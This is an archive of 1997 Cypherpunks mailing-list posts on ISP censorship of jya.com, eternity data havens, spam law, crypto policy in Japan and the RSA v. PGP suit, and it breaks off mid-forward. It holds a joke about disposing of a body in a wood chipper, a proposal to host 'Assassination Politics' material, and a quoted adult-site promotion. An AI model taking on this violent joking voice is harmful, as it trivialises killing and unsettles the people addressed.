print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 21:56:21 +0800
To: jya@pipeline.com
Subject: http://jya.eternity/? (was Re: JYA Axed)
In-Reply-To: <1.5.4.32.19970802003043.006cb0a8@pop.pipeline.com>
Message-ID: <199708031339.OAA02898@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




John Young <jya@pipeline.com> writes:
> The ISP for jya.com, PrimeHost, an AOL subisidiary, has axed
> the site.
> 
> [...]
> 
> Finally, a Boss was reached who said the site was "intentionally pulled." 
> He claimed that it was "not a serious problem, so don't be alarmed," 
> and sang cheerily about "some files" without elaboration.
> 
> Maybe more next week, and we pray it turns out to be hysterically
> alarming and not merely a pissed Intel Prop owner seeking pay.

If/when you do figure out what files it was that upset them, perhaps
we can put them in the distributed eternity www-based data haven.

Then tell them to go censor:

	http://jya.eternity/

(Should be fun to watch them try to "take down" a web document that is
scattered across millions of USENET news spools.  If any particular
eternity server operator gets hassled, the attention will cause a
feeding frenzy of new eternity servers springing up, much like the
attempt at censoring Radikal, only the documents will still be sitting
there in the document store, and there won't even be a glitch in
access.)

> JYX.com is still up, thanks to PrimeHost's autosub. Ten files there
> -- so far.

Current eternity servers:

	http://www.replay.com/aba/eternity/
	http://www.zipcon.net/~enoch/

(Thanks to the person who suggested in email the idea of mirroring
whatever it was primehost are trying to censor on jya.com).

[jya: do you still have all materials that were on jya.com?]

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <adejoode@replay.com>
Date: Sun, 3 Aug 1997 21:21:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: spam is good for you
Message-ID: <199708031314.PAA13935@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Zooko Journeyman sez:

[..]
: In other news, I'm going to  HIP  
: and I'm thinking I should have a t-shirt made to piss off the
: self-righteous socialist anti-spam activists.  My favorite 
: slogan so far is "I may disagree with every spam you send, but
: I will defend to the death your right to spam it. --Voltaire".

Hehe, bring me such a T-shirt *g*

: I consider this to be a powerful meme to broadcast at those
: low-tech lawmongers, but it isn't sufficiently.. um.. offensive.
: Any suggestions from the peanut gallery?

--
 -aj-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Sun, 3 Aug 1997 13:39:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NIST request for comments
In-Reply-To: <3.0.3.32.19970802203556.00b1e180@cybercash.com>
Message-ID: <199708030532.PAA05857@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


   Carl Ellison said:

> On http://csrc.ncsl.nist.gov/ , the 3rd and 4th links are to requests for 
> comments on changes to encryption standards.  Apparently, NIST isn't getting 
> many comments and would really like some.

It'll only encourage them to believe they're relevant.
 
> Maybe someone should tell them that publication in the Federal Register isn't 
> the right way to communicate with netizens :)

The fact that they haven't already indicates they're dinosaurs.
- -- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM+QX2Hawhvoxf0r9AQEa3QgAgKxZYfGKicVg8+uZXOHGKaZSFZCPn7oe
jekWdd5w2uC6lWk+YAVrghm6qt26b98IwUy8P1Ft9cIjn4LC5kjU+A74DURlKXhZ
KtidkyUcdWAuTmGW4R0IK/1vUgusI9D5S9KO6U4iUD17PqoUCU43xz5IKHgKZodd
SlcaWFZdIhiJMkmTJaaFXAUTapm5Zszq2iZjM9yu+gFy8Gvq1+CPojrTdduzCl8w
fqxQMvK0GiinDXmAxhVdJXPk6nqQEYeSk3JIJsY/QgOfnaq8kwZYfvmfEm1LdEHz
ij2i5jhkJbsO2PFFSSz3bL5U6bR6AFQYop2qoLGgV67mNmR04OJfWg==
=AziQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Sun, 3 Aug 1997 13:59:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <Pine.LNX.3.93.970803062838.108B-100000@shirley>
Message-ID: <199708030552.PAA05934@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   ? the Platypus {aka David Formosa} said:


>The best soultion given so far is Cause's suggestion of modifying the fax
>law so that we can sue the spammers.

Thus giving gubmints the toe in the door they are so desperately looking 
for to regulate/license/control the online world.

The first thing you would see after passing such a law (if indeed the 
original legislation itself didn't contain the provision) would be a 
requirement for identification of all accounts and account holders. 
Anonymous email and anonymous remailers would be the first victims.

Then there would be a license fee introduced to cover the costs of such a 
system (internet drivers license?), followed by calls for censorship 
which would now have much greater pseudo legitimacy. This would be only 
the crest of a very big wave. 

Spam is conveniently dealt with using procmail and other filtering tools. 
Admins generally will deal swiftly with denial of service attacks.

I'm having a problem with leaves from the neighbours trees blowing onto 
my front lawn. I think the government should DO SOMETHING.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Mon, 4 Aug 1997 07:21:53 +0800
To: cypherpunks@cyberpass.net
Subject: Eternity Content Suggestions
Message-ID: <19970803231431.4542.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Just a few off the top of my head... 

An "Assassination Politics" home page, containing the story of Jim Bell,
all publicly available documents on the case, and links to all the
currently operating AP-Bots.

The alleged NSA Manual.

Favorite Cypherpunks Cryptographic Links, including helpful offshore
source code archives, and a pointer to the Cyphernomicon.

Seekret Skriptures ('Nuff Said)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}
 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Mon, 4 Aug 1997 07:53:04 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <P9cTae9w165w@bwalk.dm.com>
Message-ID: <25455.870651372@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



|Paul Pomes sends me harrassing e-mail and quotes more obscenities from
|the anonymous remailers:

As you posted the obscenities in the first place I fail to understand your
objections.

Pot, kettle, black, Dimi.  Again, why are you trying to shut down the 
remailers with the Vulis-bot?

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <adejoode@replay.com>
Date: Mon, 4 Aug 1997 00:02:48 +0800
To: cypherpunks@cyberpass.net
Subject: jya.com
Message-ID: <199708031551.RAA29954@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




It seems that replay.com has a partial mirror of jya.com last update was
March 14th, so any docs uploaded after that date on jya.com are not
available.

URL: http://www.replay.com/mirror/jya.com

Enjoy.
-Alex





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 4 Aug 1997 11:02:58 +0800
To: cypherpunks@toad.com
Subject: Re: The Poor in Spirit
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <19970803193422.17765@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Aug 03, 1997 at 10:28:28AM -0400, frissell@panix.com wrote:
>At 09:29 AM 8/2/97 -0700, Kent Crispin wrote:
>>In more general terms: A "free market" fundamentally grants more
>>control to those with more money.  
>
>In a free society, the "poor" have more money (collectively) than the rich 
>and outbid them for resources all the time.  

I'm not sure what you mean by "free society", since earlier writings
by you and others indicate that you believe that no such thing
currently exists (certainly not here in the US), or indeed has ever
existed.  Consequently, your statement here must be false on its 
face, since the poor have never been in a "free society".

Even so, your statement is not an argument against what I said in any
significant way, but rather is a corollary -- the trend for the rich
to get richer and the poor to get poorer, if extrapolated to the
extreme, still results in a very small number of people controlling
more wealth than all the rest of mankind.  What intrinsic 
characteristic of completely unrestricted markets do you see that 
naturally contervails this trend?

> Were this not so, communities of 
>the "poor" would never increase in size and yet they do.

Doesn't follow at all.  The poor can increase in numbers, and just 
get poorer.  You can see this all over the world.

>It is also much easier for the poor to get money in a free society than for 
>the powerless to get power in the sort of societies you favor.

Doubtful.  I favor free societies.  Realistic free societies, that is. 

>I can teach a poor person in America today the simple ways to triple or 
>quadruple his income. 

I don't believe you.  Oh, in isolated cases perhaps.  But not as a 
general lesson you can give to any Joe Poverty, and suddenly make 
him middle class.

But once again I am struck by the thought that, contrary to much of 
the sentiment expressed on this list, you actually believe that 
America today is a *true free society*.  Have you turned in your 
cpunks credentials?

> I could not teach a resident of France or Germany or 
>Japan a simple way to triple or quadruple his "influence" on his government

But are you then  implying  that you could in the US!?!?

>and indeed a tripling of such influence would give him much less than a 
>tripling of income.

No doubt about it.  :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Mon, 4 Aug 1997 10:47:34 +0800
To: cypherpunks@Algebra.COM
Subject: How age and PICS ratings may go down...
Message-ID: <199708040231.TAA09298@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain




One way "voluntary" age ratings--very similar to PICS ratings--may be
mandated is through the kind of "plea agreement" cited below. (I don't
know if this site is real or not, but the post presents a scenario which
will become more common, I think.)

Someone writes something, or has a site, and is busted for some charge.
(There are many, even with what remains of the First Amendment. Child
porn, obscenity, the new copyright laws, the Anti-Terrorism Act, etc.) A
nolo contendre or guilty plea to a lesser charge is entered, with the
agreement that an age verification system will be used, or a PICS rating,
etc. And so the government gets the kind of censorship it wants.

(Duncan will likely argue that this is impossible to enforce. Maybe in the
limit, in the sense that some will fall through the cracks. But the
dangers to anyone hosting words or pictures on their sites is very real.
As more and more ISPs drop controversial material--think of several recent
cases, and perhaps even the case of our own John Young--and as more child
porn/celebrity nude/obscenity cases are filed....by the time the Thomases
are both out of prison, most sites will likely be heavily editing
themselves, imposing age limits, and using PICS ratings.)

The article is below.

--Tim May


> From: <thebridge@andau.com>
> Newsgroups: alt.binaries.pictures.joanne-guest
> Subject: The celeb site illegal in Texas
> Date: 3 Aug 1997 10:20:21 GMT
> Organization: Commuter Communication Systems, Austin TX
> Lines: 36
> Message-ID: <5s1m15$2m6$732@quest.ccsi.com>
> NNTP-Posting-Host: savage24.ccsi.com
> Xref: news.znet.com alt.binaries.pictures.joanne-guest:5351
> 
> The fakes page, along with the XXX passwords page, is the one that got
me in trouible with the law ans the community action groups. I used to
have these two pages  in the free access web, and it seems that many
people found it objectionable that kids could get to the "Celebrity
Blowjobs" and other work. They were right. I was wrong. I tried the
Ulysses argument, but they just wouldn't accept the rationale that
watching Kathy Lee give head had serious and important literary value. By
the way, this is the same page that generated the two-page write-up in
Internet Underground.
> 
> So, I copped a plea, agreed to Adult Verification. Anyway, there is age
verification now, and I am free to offend the adults of my community, and
hopefully all communities everywhere.
> 
> AdultSights members......you're there dudes.
> 
> non-members, you can get one instantly
> (also gets you in to my passwords page, my Encyclopedia (2200 celebs),
and much more, plus 2,000 other sites)
> 
> http://www.scoopy.net/fooled.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Mon, 4 Aug 1997 13:39:16 +0800
To: cypherpunks@toad.com
Subject: Computer Magazine Archive Special Offer!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.13817.08031997200008.86273@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 4 Aug 1997 11:37:42 +0800
To: cypherpunks@cyberpass.net
Subject: Infantocracy
Message-ID: <v03102803b00afdbd42e7@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



INFANTOCRACY

On both the state and federal level, government has become obsessed with
kiddie issues

By Rafael Tammariello

The United,States is evolving into what can be characterized as the world's
first "infantocracy" a nation whose laws, policies and political culture
are captive to the perceived needs and wants of a mythical brood known as
"The Children."

By proxy, the United States is becoming a country ruled by "The Children"
as the central government embarks on a systematic quest to circumscribe the
liberties of adults in the name of shielding "The Children" from all things
harmful.

"The Children" are not real, flesh-and-blood kids who grow up to be adults,
who spend the remaining 80 percent of their lives as adults and seek to
enjoy the rights, privileges and prerogatives of adulthood. No. "The
Children" of the infantocracy's conception are sainted, angelic beings,
wide-eyed, wholesome and perpetually about 7 years old, judging from the
White House photo-ops.  "The Children" are pure and infinitely vulnerable
beings who will never grow up, never need to exerise adult choices, never
light up a cigar, watch a good violent drama on TV or entertain friends
over the backyard grill.

The emerging infantocracy vigorously seeks to limit the range of adult
activities-from free speech to driving to smoking to gun use to television
viewing to Internet access to backyard cooking.

These days, the business of America is certainly not the business of
securing the liberty of her citizens, as the founding fathers envisioned
two centuries ago. Ceaseless attacks on the Bill of Rights-launched in the
name of protecting "The Children" from guns or smut or whatever-emanate
from the very members of Congress sworn to defend those freedoms.

The legislative and executive branches of government at the state and
national levels are obsessed with kiddie issues-to the virtual exclusion of
all else.

What was the theme of last week's National Governor's Association confab at
The Mirage? Early childhood development, replete with gurgling babies as
omnipresent props. At one point, Nevada Gov. Bob Miller was practically
buried in babies. A week earlier, President Clinton, surrounded by
squealing infants, pushed for a tobacco surtax to finance socialized
medicine for "The Children."	~

Who are these children-"The Children"-whose salvation lies in the
suppression of adult freedoms and prerogatives?

Consider: A comprehensive poll by Public Agenda, a New York-based research
firm, asked 2,000 adults to reveal their thoughts about America's
youngsters. The results, published in June under the title "Kids These
Days: What Americans Really Think About the Next Generation," indicate a
massive vote of "no confidence" in kids. A strong majority of the adults
surveyed said they perceived a disturbing upsurge in "wild, rude and
frightening behavior among young people. Fully 63 percent did not believe
today's kids will make the country a better place when they grow up.

But "The Children" are not these  children-not the ill-mannered youngsters
in big pants with their hats on backwards, or the Beevis and Butthead
clones. No, no. "The Children" are sainted, immortal beings, forever young,
forever innocent, vulnerable and in need of protection from their saviors
in Washington.

Let's get this straight: The majority of children are good kids; children
do need protection; they do need nurturing and moral direction-from their
parents, not Uncle Sam.

Our children are the future. But, strangely, the American infantocracy is
not really, as its advocates assert, concerned about the children's future.
Indeed, the infantocracy contemplates no realistic future for "The
Children-that is, it ; fails to take into account the inevitable fact that
childhood is a fleeting thing and that a society molded in the image of a
day-care center may be hostile to adults, which the children, the real
children, will soon become.

When the real children become real adults, they may want to engage in those
grown-up activities that are being proscribed wholesale by the grim,
puritanical infantocracy being built in the name of their mythical
counterparts "The Children."

Bill Clinton is, of course, the chief architect of the infantocracy. Every
significant Clinton policy initiative-from tax credits to gun control to
nuclear arms reduction-is trotted out under the banner of "The Children."

But others on both the left and right assist in the creation of this odd
new society. Indeed, the most recent attempt to limit adult choices in the
name of "The Children" emanated from the right, in the dour personage of
Utah Sen. Orrin Hatch, who sought a national ban on
gambling within 10,000 feet of schools, parks and any other place "The
Children" might find themselves. The Hatch initiative, which could throttle
Las Vegas (a bright anomaly in the new child-fixated universe) has stalled.
But do not be surprised if a similar proposal arises from the national
gambling commission's conservative moralists or from some of their
soulmates in Congress.

Then there was Republican Sen. Mark James' attempt in the Nevada
Legislature to censor advertising that might offend the sensibilities of
"The Children."

Attacks on adult-oriented material on the Internet and on television-the
calls for a "voluntary ratings system" and "voluntary" self-censorship (all
under threat of federal regulation, of course)-have come from both
Bible-brandishing rightists and therapeutic-state leftists. The voluntary
ratings system is the initial baby step toward government-ordered
infantiization of the airwaves making them safe for "The
Children." The mythical "Children," you understand, will remain seven
years, old forever. Unlike real children, "The Children" never' grow up and
want to watch a good bloody flick on the tube.

The Constitution's First Amendment provides no armor when the infantocracy
deploys its SWAT teams to rescue "The Children." Witness Joe Camel,
bludgeoned to death "voluntarily" by his creator as government regulators,
the White House, Congress, and a legion of attorneys general grabbed, the
tobacco industry's  throat.

In the name of saving "The Children" from Demon Tobacco, a whole group of'
companies, engaged in a heavily taxed legal business have volunteered to
surrender  their First' Amendment right to advertise.

If Clinton and his two chief tobacco advisers - Baby Doctors C. Everet Koop
and David Kessler work their will, the United States will have tobacco
prohibition in a few years, and that will include cigars. When Mr.
Clinton's FDA reduces the amount of nicotine in cigars and cigarettes to
zero, smokers will be forced to find the real smokes on the black market

But the emergence of a black market and new criminal class doesn't bother
Bill Clinton. As the president said in Madrid on July 9: "What is a black
market ... (a) 1 percent penetration of the market, a  3 percent
penetration of the market? Would we deny the FDA the right to protect 100
percent of our citizens because there might be a few black-market
cigarettes around?''

Ah, the sainted Children. Surely, as Mr. Clinton states, banning nicotine
will protect 100 percent of them, just as the prohibition of marijuana has
kept them 100 percent drug-free.  And, if Clinton's estimates are correct,
only 500,000 to 1.5 million American adults will be converted into
black-market criminals. We'll need some new prisons-at least 500 of them.
The benevolent garb of the infantocracy conceals the mailed fist of The
Enforcer.

The infantocracy's jihad against the First Amendment and adult-Americans
who choose to smoke is not its only display of raw force. New clean-air
rules advanced by Bill Clinton and his fanatical Environmental Protection
Agency also represent a vast expansion of government power over states,
cities and individuals, right down to their barbecuing habits. When Mr.
Clinton announced the new rules on June 25, he said: "I have approved some
very strong new regulations today that will be somewhat controversial, but
think kids ought to be healthy." Come ye forth and sacrifice at the altar
of the sainted "Children."

Under the new EPA edict, cities across the nation will be compelled to
adopt and enforce policies that are designed to result in air that is
virtually free of dust and man-made ozone. The ' cost of implementing the
rules - that the EPA hypothesizes will marginally extend the life-spans of
some kids with asthma-could, by one estimate, exceed $330 billion a year,
far more than the defense budget.

The Los Angeles limes points out, no technology exists that could scrub
that city's air clean enough the meet the new standards. The only way to
achieve compliance in cities such as L.A. (which cannot handle even the
existing air- quality standards) would be the adoption of draconian
measures: restrictions on driving, mandated car-pooling, shutting down
industries, banning gas-powered lawn mowers and so on.

Mr. Clinton and the EPA pooh- pooh the idea that many urban areas, in their
desperation to comply with Washington's dictates, will be forced to outlaw
fireplaces and backyard barbecues. But- cities such as Los Angeles and
Denver in their struggle to meet even the extant clean-air standards-have
already taken such steps; and other cities will be forced to follow suit.

As the infantocracy gears up, its creators and supporters busy themselves
with many other projects.  Clinton has already ordered federal officers'-"
to affix rigger-locks on their guns at home, and he fervently yearns for
national legislation requiring, hem on all firearms owned' by citizens.
Said Clinton in pushing! is proposal: "We protect aspirin bottles in this
country better then we protect guns from accidents by children." The
Sainted Children. And, if trigger locks .'prevent' adults,: from
!effectively defending their homes and their children, real children - it's
just another requisite sacrifice of adult choices in the name of the
mythical "Children" who are always 7 years old and who never grow up to
have homes and families of their own to defend.

Hand it to Yale Professor Kelly Brownell, director of the University's
Center for Eating and Weight Disorders, for providing the infantocracy a
focus for its next crusade. Heir Docktor Brownell has raised the alarm: The
United States is wash in unhealthful, fatty foods, and kids, at the urging
of bad clowns, are lured into eating them. Two weeks ago, Brownell told The
Washington Times: "Junk food advertisements should be regulated, and excise
taxes imposed on high-fat foods, just as they are on tobacco and
alcohol.... As a culture, we get upset about Joe Camel, yet we tolerate our
children seeing 10,000 commercials a year that promote foods that are every
bit as unhealthy."

"The Children," you see, never grow up and will, never want to order a
well-marbled steak with chocolate mousse for dessert. For "The Children"
remain 7 years old forever, and cherish their fruits and vegetables.

Joe Camel, meet Ronald McDonald in the infantocracy's roomy dungeon.

The emerging American infantocracy embraces a vision that does not include
you driving to a friend's house, grilling burgers on the backyard barbecue,
and enjoying a cigar afterwards in front of the fireplace. The engineers of
the infantocracy are creating a society tightly fixated on stamping out all
of life's little risks. It's a task undertaken at the expense of grown-up
things and adult choices. This new society is a strange, confining place, a
place that's increasingly difficult to recognize as the land of the free or
the home of the brave.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sun, 3 Aug 1997 20:37:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708031231.VAA00231@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:56 97/08/03 -0600, Toto wrote:

>   It is clearly up to Joichi Ito to decide how he can best work toward
> cypherpunk goals under his system of government, but he would do well
> to listen to those on the list who have seen more than a few crusaders
> sink into the swill when they make the mistake of talking to the piggies
> too close to the trough.
>   A good sign that you have not yet been co-opted is if you still take
> that "extra" briefcase to the meetings, just in case.
> {"I've got to run out to my car for a moment with my briefcase, but I
> will be leaving my _other_ briefcase here." <tick-tock-tick-tock>}
> 
> TruthMonger

Point well taken. I understand that it is easy to get misdirected
when you are "dancing with the devil"... Currently, as one of the primary
supporters of privacy and free access to cryptography in Japan, I have much
more
to lose and very little to gain from being "co-opted." by "the bad guys" (who
aren't looking out for the interests of the people).  In addition, although
the Japanese Self Defense Force may be militaristic (they are the military
so they probably are pretty militaristic), Japan does not have the
equivalent of the NSA. It really is in Japanese national security interests
to consider minimizing risk by distributing it since they obviously do not
have the ability to control it in the way that the US does. Anyone who
has been following the statements by the Japanese at the OECD should
note that Japan has alway lagged behind in supporting government control
of crypto. In addition (although this article is very seldom sited in actual
cases) the Japanese constitution provides for privacy of communications
for citizens. Also, most of the crypto technology is held in private
companies.

Really, what I am try to do is two things:

1) Make sure that Japan makes the right decision about crypto policy so
that they do no stifle commercial development of crypto or put at risk
national and individual security/privacy by implementing a weak system because
of political pressure or domestic surveilance requirements.

2) Make sure that Japan does not repeat the US "Hacker Crackdown" and
more recent Australian crackdowns which I think can cause a rift between
hackers and society. Right now I think the risk of weak security from
the point of view of IWar and just plain network failure is much more
important
than cracking down on hackers/crackers. I'm trying to head off such
"crackdown"
movements by trying to put threats and risks into perspective at the National
Security level and take the focus away from the activities of hackers who
I think can help improve security and lower risks in the long term.

As for Tim's message... I keep worrying (when I am in Japan) that I'm too
radical, so it's nice to hear from someone who is really hardcore to put
a wimp like me in my place. ;-P

I guess I still believe in trying to redirect the process of government before
"dropping out"... I'm not making it any easier for the "bad guys" giving them
my opinion and I can alway "drop out" when I think no one's listening
anymore...

Anyway, I'm going to stop writing now before all of the government people
reading this list decide to put me in their kill file. Then no one will be
listening
to me. ;-P


- Joi

P.S. I wrote an article in the Daily Yomiuri about a year ago that outlines
where I am coming from. Please take a look if you are interested. The
Daily Yomiuri is a national Japanese newspaper.
<http://www.garage.co.jp/~jito/article.html>

--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 4 Aug 1997 13:04:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth
In-Reply-To: <199708040346.FAA26108@basement.replay.com>
Message-ID: <v03102802b00b0cf4dc3c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:46 PM -0700 8/3/97, Anonymous wrote:
>Joichi Ito wrote:
>> As for Tim's message... I keep worrying (when I am in Japan) that I'm too
>> radical, so it's nice to hear from someone who is really hardcore to put
>> a wimp like me in my place. ;-P
>
>  Actually, when Tim puts someone in what he considers to be their
>place,
>it usually involves the purchase of a tombstone.

Actually, the trick is to avoid having the body discovered. What goes into
the 10 h.p TroyBilt Chipper/Shredder comes out not needing any kind of
tombstone at all.

Not that I have ever advocated killing mere folks like Joichi with whom I
disagree strongly. (A new quote: "Killfiles don't need tombstones.")

As for Joichi's message quoted above, he should hope to hell that he wakes
up and realizes that not even in Japan can journalists--which is what I
thought he once was, or claimed to be--serve on Ministry committees to
decide how citizen-units may communicate!

Any journalist in Europe or in the U.S. would be seen as having irreparably
compromised his journalistic objectivity by serving on such a panel! And
properly so, of course.

Joichi is of course free to compromise his would-be journalistic standards
as he wishes. We are, of course, equally free to severely criticize this
and to notify "Wired" and other such outlets of his stuff.

(How long do you think Brock Meeks could keep whatever reputation he now
has if he served as a consultant to the National Security Agency?)

>  Japanese society has long been very rule-oriented, in large part as
>a result of the country's geography, population and history.
>  A "No Farting" sign which might reek of totalitarianism when placed
>on the open range, might well seem less so when placed in a two-man
>tent occupied by six people. Environment, geography and the history
>of a a country, society and its people, all play a part in the degree
>to which an individual will view their personal position in regard to
>the society and government around them. And each will perceive the way
>in which they feel they can best promote their beliefs within their
>society and government.

Whatever. A good friend of mine just got back from 10 years in Japan
(Tsukuba and Tokyo), and has filled me in on the "nail that stands up"
stuff. It's hackneyed.

The point is, if Joichi Ito wants to ever be taken at all seriously, as a
reasonable objective reporter of what is happening, his co-opting by the
Japanese Self Defense Forces, Chobetsu, etc., for this "committee" on
crypto policy, must be scrutinized, and almost certainly criticized.

>  It seemed to me that after Jim Bell's arrest, most of the posts to
>the list posted an almost-standard disclaimer: "Actually, although
>I hardly knew the man, thought he was a _loon_, and _disagreed_ with
>most of what he had to say..."

Actually, more people were openly discussing his ideas than before.

I, for one, never dismissed the ideas. I think his ideas are derivative
(cf. my entire sections in the 3-year-old Cyphernomicon, for example). And
his idiosyncratic way of presenting them ("Something _wonderful_ is about
to happen!," "I have an idea") gave the appearance that he was close to
being a loon, if not actually one.

Personally, I see nothing to be gained in the bigger scheme of things by
targetting the Portland office of the IRS, for example. Nor do I think his
"Assassination Politics" market would work in the way Bell claimed it
would: many pointed this out, and Bell never seriously responded (that I
can recall, but, then, I deleted many of his posts).

This has nothing to do with your presumptive point, that we were frightened
by the IRS and other LEA actions and then sought to distance ourselves from
Bell's idea. Nothing could be further from the truth. I, for one, have made
it clear that I will not  inform on Bell, or answer LEA questions unless
subpoenaed or charged. (And possibly not even then. I have not been a
co-conspirator of Bell's, and any questioning of me can be done at my
standard consulting rates. I am willing to be an "expert witness" on some
topics, if my schedule is free.)



>> And nothing but mischief will come out any meetings with government on
>> "crypto policy," as their goals can never be our goals. At least in the
>> U.S., despite obvious flaws, we have a "Congress shall make no law"
>> provision which _tends_ to make government meddling in speech, such as
>> meddling in crypto, more difficult.
>
>  I hope that the "flag" Tim is wrapping himself in isn't the same one
>that he was burning yesterday.
>  {Not that I'm accusing Tim of being purposely deceitful. It's just
>that when we throw a "leaner" instead of a "ringer," they sometimes
>lean in opposite directions.}

Utter bullshit. I have cited the First, Second, and other provisions of the
Constitution for the 5 years of this list. That I would prefer an even more
anarchistic, market-oriented system than we now have, or that I dislike the
hundreds of thousands of laws passed over the last 50 years, is no reason
not to use the protections of the Constitution.  And the line between an
anarchocapitalist and a strict constuctionist is fine indeed. Anyone who
thinks this is "deceitful" is probably one of those folks who says, "Oh,
yeah, well if you dislike government why don't you just refuse to drive on
public roads? Some people are just born stupid.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 4 Aug 1997 11:44:25 +0800
To: cypherpunks@toad.com
Subject: PGP Answers RSA
Message-ID: <1.5.4.32.19970804032232.0085c390@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to John Gilmore we offer a 44-page package of
PGP's court filings in response to RSA's suit:

   http://jyx.com/rsavpgp2.htm

Exhibits of early letters among Cylink, RSA, and PGP preceding 
the suit are of interest, one of which has been provided before
by Greg Broiles at parrhesia.com.

We've also put on JYX the AOL-axed RSA v. PGP docs, linked
to this latest: the RSA suit and the Lemcom License.

A bit more from JG will be ready in a few days.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 4 Aug 1997 13:56:34 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth (fwd)
Message-ID: <199708040544.AAA32292@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 3 Aug 1997 22:02:24 -0700
> From: Tim May <tcmay@got.net>
